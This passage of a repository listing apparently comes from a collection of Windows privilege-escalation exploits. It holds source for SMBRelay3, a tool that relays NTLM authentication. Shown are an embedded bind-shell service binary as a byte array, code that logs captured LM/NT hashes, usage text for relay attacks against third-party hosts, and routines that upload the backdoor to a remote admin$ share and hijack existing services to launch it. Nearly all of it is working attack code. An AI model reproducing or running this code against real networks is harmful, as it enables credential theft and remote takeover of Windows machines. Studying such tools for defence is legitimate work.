0xAC, 0x50, 0x56, 0x56, 0x56, 0x6A, 0x01, 0x56, 0x56, 0x68, 0x24, 0x20, 0x40, 0x00, 0x56, 0xC7,
0x45, 0xAC, 0x44, 0x00, 0x00, 0x00, 0x66, 0x89, 0x75, 0xDC, 0xC7, 0x45, 0xD8, 0x01, 0x01, 0x00,
0x00, 0x89, 0x7D, 0xEC, 0x89, 0x7D, 0xE8, 0x89, 0x7D, 0xE4, 0x89, 0x75, 0xB8, 0x89, 0x75, 0xB4,
0x89, 0x75, 0xE0, 0xFF, 0x15, 0x00, 0x20, 0x40, 0x00, 0x5F, 0x5E, 0x5B, 0xC9, 0xC2, 0x10, 0x00,
0x8B, 0x4C, 0x24, 0x04, 0xF7, 0xC1, 0x03, 0x00, 0x00, 0x00, 0x74, 0x24, 0x8A, 0x01, 0x83, 0xC1,
0x01, 0x84, 0xC0, 0x74, 0x4E, 0xF7, 0xC1, 0x03, 0x00, 0x00, 0x00, 0x75, 0xEF, 0x05, 0x00, 0x00,
0x00, 0x00, 0x8D, 0xA4, 0x24, 0x00, 0x00, 0x00, 0x00, 0x8D, 0xA4, 0x24, 0x00, 0x00, 0x00, 0x00,
0x8B, 0x01, 0xBA, 0xFF, 0xFE, 0xFE, 0x7E, 0x03, 0xD0, 0x83, 0xF0, 0xFF, 0x33, 0xC2, 0x83, 0xC1,
0x04, 0xA9, 0x00, 0x01, 0x01, 0x81, 0x74, 0xE8, 0x8B, 0x41, 0xFC, 0x84, 0xC0, 0x74, 0x32, 0x84,
0xE4, 0x74, 0x24, 0xA9, 0x00, 0x00, 0xFF, 0x00, 0x74, 0x13, 0xA9, 0x00, 0x00, 0x00, 0xFF, 0x74,
0x02, 0xEB, 0xCD, 0x8D, 0x41, 0xFF, 0x8B, 0x4C, 0x24, 0x04, 0x2B, 0xC1, 0xC3, 0x8D, 0x41, 0xFE,
0x8B, 0x4C, 0x24, 0x04, 0x2B, 0xC1, 0xC3, 0x8D, 0x41, 0xFD, 0x8B, 0x4C, 0x24, 0x04, 0x2B, 0xC1,
0xC3, 0x8D, 0x41, 0xFC, 0x8B, 0x4C, 0x24, 0x04, 0x2B, 0xC1, 0xC3, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xD6, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x80, 0xBC, 0x20, 0x00, 0x00,
0x73, 0x00, 0x00, 0x80, 0x0D, 0x00, 0x00, 0x80, 0x01, 0x00, 0x00, 0x80, 0x13, 0x00, 0x00, 0x80,
0x00, 0x00, 0x00, 0x00, 0x63, 0x6D, 0x64, 0x00, 0x53, 0x6D, 0x62, 0x52, 0x65, 0x6C, 0x61, 0x79,
0x33, 0x20, 0x53, 0x68, 0x65, 0x6C, 0x6C, 0x20, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x20,
0x2D, 0x20, 0x68, 0x74, 0x74, 0x70, 0x3A, 0x2F, 0x2F, 0x77, 0x77, 0x77, 0x2E, 0x74, 0x61, 0x72,
0x61, 0x73, 0x63, 0x6F, 0x2E, 0x6F, 0x72, 0x67, 0x20, 0x0A, 0x0A, 0x00, 0xA0, 0x20, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xCA, 0x20, 0x00, 0x00, 0x08, 0x20, 0x00, 0x00,
0x98, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE8, 0x20, 0x00, 0x00,
0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD6, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x02, 0x00, 0x00, 0x80, 0xBC, 0x20, 0x00, 0x00, 0x73, 0x00, 0x00, 0x80, 0x0D, 0x00, 0x00, 0x80,
0x01, 0x00, 0x00, 0x80, 0x13, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x41, 0x00, 0x57, 0x53,
0x41, 0x53, 0x6F, 0x63, 0x6B, 0x65, 0x74, 0x41, 0x00, 0x00, 0x57, 0x53, 0x32, 0x5F, 0x33, 0x32,
0x2E, 0x64, 0x6C, 0x6C, 0x00, 0x00, 0x66, 0x00, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x50, 0x72,
0x6F, 0x63, 0x65, 0x73, 0x73, 0x41, 0x00, 0x00, 0x4B, 0x45, 0x52, 0x4E, 0x45, 0x4C, 0x33, 0x32,
0x2E, 0x64, 0x6C, 0x6C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
};
FILE *fp=fopen(lpBackdoorFile,"rb");
char *buffer;
int len;
if (!fp) {
printf("[-] %s not found. using cached version\n",lpBackdoorFile);
buffer=(char *)malloc(sizeof(SMRS));
memcpy(buffer,SMRS,sizeof(SMRS));
return(buffer);
}
fseek(fp,0,SEEK_END);
len=ftell(fp);
*BackdoorFileSize=len;
fseek(fp,0,SEEK_SET);
buffer=(char*)malloc(len);
fread(buffer,len,1,fp);
fclose(fp);
return(buffer);
}
int ConnectToRemoteHost(RELAY *relay,char *hostname, int port)
{
#ifdef WIN32
u_long tmp=1;
#else
int tmp=1;
#endif
fd_set fds;
struct timeval tv;
struct hostent *hostend;
int i;
relay->destinationaddr.sin_family = AF_INET;
relay->destinationaddr.sin_addr.s_addr = inet_addr(hostname);
if (relay->destinationaddr.sin_addr.s_addr == INADDR_NONE)
{
hostend=gethostbyname(hostname);
if (!hostend)
{
return(0);
}
memcpy(&relay->destinationaddr.sin_addr.s_addr, hostend->h_addr, 4);
printf("[+] Remote Server %s resolved as %s\n",hostname,inet_ntoa(relay->destinationaddr.sin_addr));
}
strcpy(relay->hostname,hostname);
relay->destinationaddr.sin_port = htons(port); //445
relay->destination=socket(AF_INET, SOCK_STREAM, 0);
#ifdef WIN32
ioctlsocket(relay->destination, FIONBIO, &tmp);
#else
ioctl(relay->destination, FIONBIO, (char *)&tmp);
#endif
tv.tv_sec = CONNECT_TIMEOUT;
tv.tv_usec = 0;
FD_ZERO(&fds);
FD_SET(relay->destination, &fds);
connect(relay->destination,(struct sockaddr *)&relay->destinationaddr, sizeof(relay->destinationaddr));
i=select((int)relay->destination+1,0,&fds,0,&tv);
if (i<=0){
printf("[-] Error - Connection against %s:%i Failed\n",hostname,port);
return(0);
}
tmp=0;
#ifdef WIN32
ioctlsocket( relay->destination, FIONBIO, &tmp);
#else
ioctl(relay->destination, FIONBIO, (char *)&tmp);
#endif
return(1);
}
int SendBytesAndWaitForResponse(SOCKET destination,char *source, int nBytes, char *destinationBuffer, int MaxReadSize,int timeout)
{
int i=-1;
#ifdef WIN32
u_long tmp=1;
#else
int tmp=1;
#endif
fd_set fds;
struct timeval tv;
if (debug) {
printf("Sending..\n");
DumpMem(source,nBytes);
}
// if (send(destination, source, nBytes,0) >0) {
if (timeout>0)
{
#ifdef WIN32
ioctlsocket(destination, FIONBIO, &tmp);
#else
ioctl(destination, FIONBIO, (char *)&tmp);
#endif
send(destination, source, nBytes,0);
tv.tv_sec = timeout;
tv.tv_usec = 0;
FD_ZERO(&fds);
FD_SET(destination, &fds);
//printf("Esperando Timeout: %i\n",timeout);
i=select((int)destination+1,&fds,0,0,&tv);
//printf("saliendo select: %i\n",i);
if (i<=0) return(-1);
} else {
send(destination, source, nBytes,0);
}
i=recv(destination, (char *)destinationBuffer, MaxReadSize, 0);
if (timeout>0)
{
tmp=0;
#ifdef WIN32
ioctlsocket(destination, FIONBIO, &tmp);
#else
ioctl(destination, FIONBIO, (char *)&tmp);
#endif
}
if (debug)
{
printf("[*] received: %i bytes\n",i);
DumpMem(destinationBuffer,i);
}
// }
//printf("salimos...: %i\n",i);
return(i);
}
void WriteDataToReportFile(char *lpLogFileFilename, tSmbNtlmAuthResponse* NtlmAuthResponse, char *SourceIpAddress,unsigned char *challenge)
{
char buffer[1024];
char tmp[256];
FILE *LogFile=NULL;
char UserName[256];
char Domain[256];
char Workstation[256];
unsigned char *p;
int i;
LogFile=fopen(lpLogFileFilename,"a+");
strcpy(tmp,"#SOURCEIPADDRESS:DOMAIN:WORKSTATION:USERNAME:challenge:LMHASH:NTLMHASH\n");
fwrite(tmp,strlen(tmp),1,LogFile);
GetNTLMPacketInfo(NtlmAuthResponse,(char*)&UserName, (char*)&Domain, (char*)&Workstation,0);
sprintf(buffer,"%s:%s:%s:%s:",SourceIpAddress,Domain,Workstation,UserName);
//Challenge:
sprintf(tmp,"%2.2x%2.2x%2.2x%2.2x%2.2x%2.2x%2.2x%2.2x:",challenge[0],challenge[1],challenge[2],challenge[3],challenge[4],challenge[5],challenge[6],challenge[7]);
strcat(buffer,tmp);
//LM HASH
p=(unsigned char *)NtlmAuthResponse + NtlmAuthResponse->lmResponse.offset;
//printf("LM\n");
//DumpMem(p,24);
for(i=0;i<24;i++) {sprintf(tmp,"%2.2x",p[i]); strcat(buffer,tmp); }
strcat(buffer,":");
//NT HASH
p=(unsigned char *)NtlmAuthResponse + NtlmAuthResponse->ntResponse.offset;
for(i=0;i<24;i++) {sprintf(tmp,"%2.2x",p[i]); strcat(buffer,tmp); }
fwrite(buffer,strlen(buffer),1,LogFile);
fclose(LogFile);
}
void CleanLine(int verbose)
{
if (verbose>0) printf("\n");
else printf(" \r");
}
void Banner(void)
{
printf("SmbRelay3 - NTLM Authentication replay attacks\n");
printf(" (c) 2007 - 2008 Andres & Miguel Tarasco \n");
printf(" Web Site - http://www.tarasco.org\n\n");
}
void usage(void){
printf("Usage: SMBRelay3.exe <binding> [options]\n\n");
printf("Binding Parameters:\n");
printf(" --ListForSMBRequests (Wait for incomming connections against port 445)\n");
printf(" --ListForHTTPRequests (Wait for incomming connections against port 80)\n");
printf(" --ListForSMTPRequests (Wait for incomming connections against port 25)\n");
printf(" --ListForIMAPRequests (Wait for incomming connections against port 143)\n");
printf(" --ListForPOP3Requests (Wait for incomming connections against port 110)\n");
printf(" --psexec <host> <username> <password> (psexec like tool)\n");
printf(" --psexec <host> <username> <:NTLMHash> (psexec like tool)\n");
printf("\nOptional Parameters\n");
// printf(" --ProxySMB (Force Challenge 0x1122334455667788 for cracking)\n");
printf(" --AlternativeSrcPort <port> (Listen under different Port)\n");
printf(" --AlternativeDstPort <port> (Connect to a different SMB Port)\n");
printf(" --SMBDestinationHost <host> (Replay attack against third part host)\n");
printf(" --SrcHostname <host> (Spoof incoming client name for Win2k (default smbrelay)\n");
printf(" --ftp <hostname> <port> <user> <pass> (download smrs.exe from remote ftp server)\n");
printf(" --v[v] (Displays verbose information )\n");
printf("\n");
printf("Example: smrelay3.exe --ListForHTTPRequests --AlternativeSrcPort 8080 --SMBDestinationHost dc.mydomain.com\n");
exit(1);
}
97-Windows提权/MS08-068/src/misc.h
+67
View File
@@ -0,0 +1,67 @@
/*
Misc data manipulation functions for Smbrelay
Andres Tarasco
*/
#ifndef _MISC_FUNCTIONS_H_
#define _MISC_FUNCTIONS_H_
#define _CRT_SECURE_NO_DEPRECATE
#include <stdio.h>
#pragma pack(1)
#ifdef WIN32
#include <io.h>
#include <windows.h>
#else
#pragma align 1
#include <unistd.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <pthread.h> //pthread
#include <ctype.h> //toupper
#include <time.h>
#include <sys/timeb.h>
#define SOCKET int
#define _strnicmp strncasecmp
#define closesocket close
#define Sleep(a) sleep(a/1000)
#define INVALID_SOCKET -1
#endif
//#include "smbrelay.h"
#include "ntlm.h"
typedef struct
{
SOCKET source;
struct sockaddr_in sourceaddr;
SOCKET destination;
struct sockaddr_in destinationaddr;
int dstProtocol;
char hostname[256];
} RELAY;
#define CONNECT_TIMEOUT 10
#define SMBWAITTIMEOUT 5
#define DBG_DUMP_ROWS 16
void DumpMem(void* string, int length) ;
char *ReadFileToSend(int *BackdoorFileSize,char*lpBackdoorFile);
int ConnectToRemoteHost(RELAY *relay,char *hostname, int port);
//int SendBytesAndWaitForResponse(RELAY *relay,char *source, int nBytes, char *destination, int MaxReadSize,int timeout);
int SendBytesAndWaitForResponse(SOCKET destination,char *source, int nBytes, char *destinationBuffer, int MaxReadSize,int timeout);
void WriteDataToReportFile(char *lpLogFileFilename, tSmbNtlmAuthResponse* NtlmAuthResponse, char *SourceIpAddress,unsigned char *challenge);
void CleanLine(int verbose);
void usage(void);
void Banner(void);
#endif
97-Windows提权/MS08-068/src/ntlm.cpp
+1745
View File
File diff suppressed because it is too large. Load diff
97-Windows提权/MS08-068/src/ntlm.h
+223
View File
@@ -0,0 +1,223 @@
#ifndef _NTLMER_H_
#define _NTLMER_H_
/* $Id$
Single file NTLM system to create and parse authentication messages.
http://www.reversing.org
ilo-- [email protected]
I did copy&paste&modify several files to leave independent NTLM code
that compile in cygwin/linux environment. Most of the code was ripped
from Samba implementation so I left the Copying statement. Samba core
code was left unmodified from 1.9 version.
Also libntlm was ripped but rewrote, due to fixed and useless interface.
Copyright and licensing information is in ntlm.c file.
NTLM Interface, just two functions:
void BuildAuthRequest(tSmbNtlmAuthRequest *request, long flags, char *host, char *domain);
if flags is 0 minimun security level is selected, otherwise new value superseeds.
host and domain are optional, they may be NULLed.
void buildAuthResponse(tSmbNtlmAuthChallenge *challenge, tSmbNtlmAuthResponse *response, long flags, char *user, char *password, char *domain, char *host);
Given a challenge, generates a response for that user/passwd/host/domain.
flags, host, and domain superseeds given by server. Leave 0 and NULL for server authentication
This is an usage sample:
...
//beware of fixed sized buffer, asserts may fail, don't use long strings :)
//Yes, I Know, year 2k6 and still with this shit..
unsigned char buf[4096];
unsigned char buf2[4096];
//send auth request: let the server send it's own hostname and domainname
buildAuthRequest((tSmbNtlmAuthRequest*)buf2,0,NULL,NULL);
to64frombits(buf, buf2, SmbLength((tSmbNtlmAuthResponse*)buf2));
send_to_server(buf);
//receive challenge
receive_from_server(buf);
//build response with hostname and domainname from server
buildAuthResponse((tSmbNtlmAuthChallenge*)buf,(tSmbNtlmAuthResponse*)buf2,0,"username","password",NULL,NULL);
to64frombits(buf, buf2, SmbLength((tSmbNtlmAuthResponse*)buf2));
send_to_server(buf);
//get reply and Check if ok
...
included bonus!!:
Base64 code
int from64tobits(char *out, const char *in);
void to64frombits(unsigned char *out, const unsigned char *in, int inlen);
You don't need to read the rest of the file.
*/
/*
* These structures are byte-order dependant, and should not
* be manipulated except by the use of the routines provided
*/
#pragma pack(1)
#ifdef WIN32
#else
#pragma align 1
#endif
#include <assert.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>
#ifdef WIN32
#else
#include <unistd.h>
#define _strdup strdup
#endif
//
typedef unsigned short uint16;
typedef unsigned int uint32;
typedef unsigned long long int uint64;
typedef unsigned char uint8;
#define SERVERNAMEITEM 0x01
#define DOMAINNAMEITEM 0x02
#define DNSITEM 0x03
#define FQDNITEM 0x04
typedef struct
{
uint16 ItemType;
uint16 ItemLength;
uint8 buffer[256];
}tSmbStrItem; //Challenge (NTLM type 2)
typedef struct
{
uint8 HMAC[16];
uint32 Header;
uint32 Reserved;
uint8 Filetime[8];
uint8 ClientChallenge[8];
uint32 Unknown;
tSmbStrItem DomainName;
} NtlmV2Packet;
typedef struct
{
uint16 len;
uint16 maxlen;
uint32 offset;
}tSmbStrHeader;
typedef struct
{
char ident[8];
uint32 msgType;
uint32 flags;
tSmbStrHeader host;
tSmbStrHeader domain;
uint8 buffer[1024];
uint32 bufIndex;
}tSmbNtlmAuthRequest;
typedef struct
{
char ident[8];
uint32 msgType;
tSmbStrHeader uDomain;
uint32 flags;
uint8 challengeData[8];
uint8 reserved[8];
tSmbStrHeader emptyString;
uint8 buffer[16384];
//uint32 bufIndex;
}tSmbNtlmAuthChallenge;
typedef struct
{
char ident[8];
uint32 msgType;
tSmbStrHeader lmResponse;
tSmbStrHeader ntResponse;
tSmbStrHeader uDomain;
tSmbStrHeader uUser;
tSmbStrHeader uWks;
tSmbStrHeader sessionKey;
uint32 flags;
uint8 buffer[1024];
uint32 bufIndex;
}tSmbNtlmAuthResponse;
/* reversing interface */
/* ntlm functions */
void BuildAuthRequest(tSmbNtlmAuthRequest *request, long flags, char *host, char *domain);
// if flags is 0 minimun security level is selected, otherwise new value superseeds.
// host and domain are optional, they may be NULLed.
void BuildAuthChallenge(tSmbNtlmAuthChallenge *pChallenge, char *DomainName, char *ServerName, char *DNS, char *FQDN, uint8 flags, uint8 *SpoofedChallenge);
//All parameters are optional. IF DomainName is not set, the default name will be "SMBRELAY3"
//if flags is 0 minimun security level is selected, otherwise new value superseeds.
//if SpoofedChallenge is not set, the default Challenge value is 0x1122334455667788
//That Challenge value allows bruteforce attacks with winrtgen built LM/ntlm tables
void buildAuthResponse(tSmbNtlmAuthChallenge *challenge, tSmbNtlmAuthResponse *response, long flags, char *user, char *password, char *domainname, char *host, tSmbNtlmAuthResponse* OptionalNtlmPacket3);
//Given a challenge, generates a response for that user/passwd/host/domain.
//flags, host, and domain superseeds given by server. Leave 0 and NULL for server authentication
//Additional parameter OptionalNtlmPacket3 have been added to support relay attacks by changing challenge data
//int NtlmChallengeSize(tSmbNtlmAuthChallenge *Challenge);
//#define NtlmChallengeSize( (tSmbNtlmAuthChallenge *)Challenge) ( sizeof(tSmbNtlmAuthChallenge) - sizeof(Challenge->buffer) +Challenge->uDomain.maxlen + Challenge->emptyString.maxlen)
#define NtlmChallengeSize(Challenge) ( sizeof(tSmbNtlmAuthChallenge) - sizeof(Challenge->buffer) +Challenge->uDomain.maxlen + Challenge->emptyString.maxlen)
//#define NtlmAuth
/*int NtlmChallengeSize(tSmbNtlmAuthChallenge *Challenge){
return( sizeof(tSmbNtlmAuthChallenge) - sizeof(Challenge->buffer) +Challenge->uDomain.maxlen + Challenge->emptyString.maxlen);
}
*/
__inline void SetChallengeKey(tSmbNtlmAuthChallenge *challenge, uint8 *SpoofedChallenge);
/* Base64 code*/
int from64tobits(char *out, const char *in);
void to64frombits(unsigned char *out, const unsigned char *in, int inlen);
// info functions
void dumpAuthRequest(FILE *fp, tSmbNtlmAuthRequest *request);
void dumpAuthChallenge(FILE *fp, tSmbNtlmAuthChallenge *challenge);
void dumpAuthResponse(FILE *fp, tSmbNtlmAuthResponse *response);
#define SmbLength(ptr) (((ptr)->buffer - (uint8*)(ptr)) + (ptr)->bufIndex)
void GetNTLMPacketInfo(tSmbNtlmAuthResponse* NtlmAuthResponse, char* UserName, char *DomainName, char *WorkstationName, int verbose);
void chartoWide(char *destination, char *source, int len);
void Widetochar(char *destination, char *source, int len);
#endif
97-Windows提权/MS08-068/src/payload.cpp
+254
View File
@@ -0,0 +1,254 @@
#include "payload.h"
#include <time.h>
//extern char *filter;
extern int verbose;
int AttackWeakServices(RELAY relay, char *buf,char *path, uint16 FID, char *ServicePath){
//RAW SMBRELAY FUNCTION
smheader *packet;
uint8 ContextHandle[20];
uint8 OpenedServiceContextHandle[20];
char ServiceName[][100] = {"DcomLaunch","Wmi","kdc","upnpHost","SSDPSRV","DHCP","NetBT","DnsCache","Pml Driver HPZ12","Adobe LM Service","Autodesk Licensing Service", "NICCONFIGSVC","Macromedia Licensing Service","vsdatant","C-DillaCdaC11BA","CdaC15BA","SecDrv" };
int len;
char data[4046];
int i,j;
//Trying to connect with lowest permissions...
len=OpenScManagerWStub(data,path,SC_MANAGER_CONNECT) ;
packet=BuildSmbPacket((smheader*)buf,SMB_COM_TRANSACTION,OPENSCMANAGER,(char*)data,len);
((SMB_COM_TRANSACTION_STRUCT*)packet->buffer)->FID=FID;
printf("[+] Opening Remote Service Control Manager (SC_MANAGER_CONNECT)\n");
i=SendBytesAndWaitForResponse(relay.destination,(char*)packet, SmbPacketLen(packet),(char*)buf,sizeof(buf),SMBWAITTIMEOUT);
free(packet);
if (( i<=0) || (((smheader*)buf)->NtStatus!=0x00000000) || (GetDceRpcPacketFromBuffer(buf)->PacketType != RPC_RESPONSE) ){
return(0);
}
memcpy((char*)ContextHandle,buf+i-24,20);
for (j=0;j<sizeof(ServiceName)/100;j++)
{
//OPENING SERVICE WITH MODIFICATION FLAGS..
len=OpenServiceWStub(data,(char*)ContextHandle,ServiceName[j], SERVICE_CHANGE_CONFIG | SERVICE_START | SERVICE_STOP);
packet=BuildSmbPacket((smheader*)buf,SMB_COM_TRANSACTION,OPENSERVICEW,data,len);
((SMB_COM_TRANSACTION_STRUCT*)packet->buffer)->FID=FID;
printf("[+] Attacking Remote Service %s\n",ServiceName[j]);
i=SendBytesAndWaitForResponse(relay.destination,(char*)packet, SmbPacketLen(packet),(char*)buf,sizeof(buf),SMBWAITTIMEOUT);
free(packet);
if (( i<=0) || (((smheader*)buf)->NtStatus!=0x00000000) || (GetDceRpcPacketFromBuffer(buf)->PacketType != RPC_RESPONSE) ){
printf("[-] Error. Unable to Open Remote service \n");
} else {
memcpy((char*)OpenedServiceContextHandle,buf+i-24,20);
len=ChangeServiceConfigWStub(data,(char*)OpenedServiceContextHandle,ServicePath, SERVICE_AUTO_START,SERVICE_WIN32_SHARE_PROCESS);
packet=BuildSmbPacket((smheader*)buf,SMB_COM_TRANSACTION,CHANGESERVICECONFIG,data,len);
((SMB_COM_TRANSACTION_STRUCT*)packet->buffer)->FID=FID;
printf("[+] Cambiando configuración de servicio...\r");
i=SendBytesAndWaitForResponse(relay.destination,(char*)packet, SmbPacketLen(packet),(char*)buf,sizeof(buf),SMBWAITTIMEOUT);
free(packet);
if (( i<=0) || (((smheader*)buf)->NtStatus!=0x00000000) || (GetDceRpcPacketFromBuffer(buf)->PacketType != RPC_RESPONSE) ){
printf("[-] Error. Unable to Modify Service...\n");
} else {
packet=BuildSmbPacket((smheader*)buf,SMB_COM_TRANSACTION,STARTSERVICE,OpenedServiceContextHandle, 20);
((SMB_COM_TRANSACTION_STRUCT*)packet->buffer)->FID=FID;
send(relay.destination, (char*)packet, SmbPacketLen(packet),0) ;
free(packet);
Sleep(1000);
printf("[+] *** Remote SmbRelay3 BindShell Service Running ***: (%s:%i)\n\n",relay.hostname,8080);
Sleep(3000);
return(1);
}
}
}
return(0);
}
int WriteRemoteFile(RELAY relay, smheader *buffer, char *lpFileName)
{
char path[256];
char buf[64000];
smheader *packet;
int i;
int filesize;
char *filedata;
uint16 FID;
uint16 TreeID;
sprintf(path,"\\\\%s\\admin$",inet_ntoa(relay.destinationaddr.sin_addr));
memset(buf,0,sizeof(buf));
i=BuildTreeConnectAndXStub(buf,"",path,"?????");
packet=BuildSmbPacket((smheader*)buffer,TREECONNETANDX,0,buf,i);//,(int)strlen(path));
printf("[+] Trying to connect to admin$\r");
if (debug)
{
CleanLine(verbose);
DumpMem((char*)packet,SmbPacketLen(packet));
}
i=SendBytesAndWaitForResponse(relay.destination,(char*)packet, SmbPacketLen(packet),(char*)buf,sizeof(buf),SMBWAITTIMEOUT);
if ((i<=0) || (((smheader*)buf)->NtStatus!=0x00000000) ){
CleanLine(verbose);
printf("[-] Error. Unable to connect to admin$\n");
return(0);
}
TreeID=((smheader*)buf)->TreeId;
sprintf(path,"\\%s",lpFileName);
filedata =ReadFileToSend(&filesize,lpFileName);
if(!filedata)
{
CleanLine(verbose);
printf("[-] Error. Unable to open %s\n",lpFileName);
return(0);
}
packet=BuildSmbPacket((smheader*)buf,NTCREATEANDX,0,path,filesize);
CleanLine(verbose);
printf("[+] Creating Remote File %s under admin$\r",lpFileName);
if (debug)
{
CleanLine(verbose);
DumpMem((char*)packet,SmbPacketLen(packet));
}
i=SendBytesAndWaitForResponse(relay.destination,(char*)packet, SmbPacketLen(packet),(char*)buf,sizeof(buf),SMBWAITTIMEOUT);
if ((i<=0) || (((smheader*)buf)->NtStatus!=0x00000000) ){
CleanLine(verbose);
if ( ((smheader*)buf)->NtStatus == STATUS_SHARING_VIOLATION) {
printf("[-] Remote File already in use (try to connect to the remote Shell).\n");
return(1);
}
printf("[-] Error. Unable to create file under admin$ (Error 0x%x)\n",((smheader*)buf)->NtStatus);
return(0);
}
memcpy((char*)&FID,((smheader*)buf)->buffer+6,2);
CleanLine(verbose);
printf("[+] Writing File %s into admin$ (%i bytes)\r",lpFileName,filesize);
packet=BuildSmbPacket((smheader*)buf,WRITEANDX,0,filedata,filesize);
free(filedata);
if (debug)
{
CleanLine(verbose);
DumpMem((char*)packet,SmbPacketLen(packet));
}
i=SendBytesAndWaitForResponse(relay.destination,(char*)packet, SmbPacketLen(packet),(char*)buf,sizeof(buf),SMBWAITTIMEOUT);
if ((i<=0) || (((smheader*)buf)->NtStatus!=0x00000000) ){
CleanLine(verbose);
printf("[-] Error. Unable to Write File.\n");
return(0);
}
packet=BuildSmbPacket((smheader*)buf,SMBCLOSE,0,&FID,2);
packet->TreeId=TreeID;
if (verbose)
{
CleanLine(verbose);
printf("[*] Closing File handle - FID: %2.2x\r",FID);
if (debug) DumpMem((char*)packet,SmbPacketLen(packet));
}
i=SendBytesAndWaitForResponse(relay.destination,(char*)packet, SmbPacketLen(packet),(char*)buf,sizeof(buf),SMBWAITTIMEOUT);
if ((i<=0) || (((smheader*)buf)->NtStatus!=0x00000000) ){
CleanLine(verbose);
printf("[-] Error Closing File Handle\n");
return(0);
}
return(1);
}
/*********************************************/
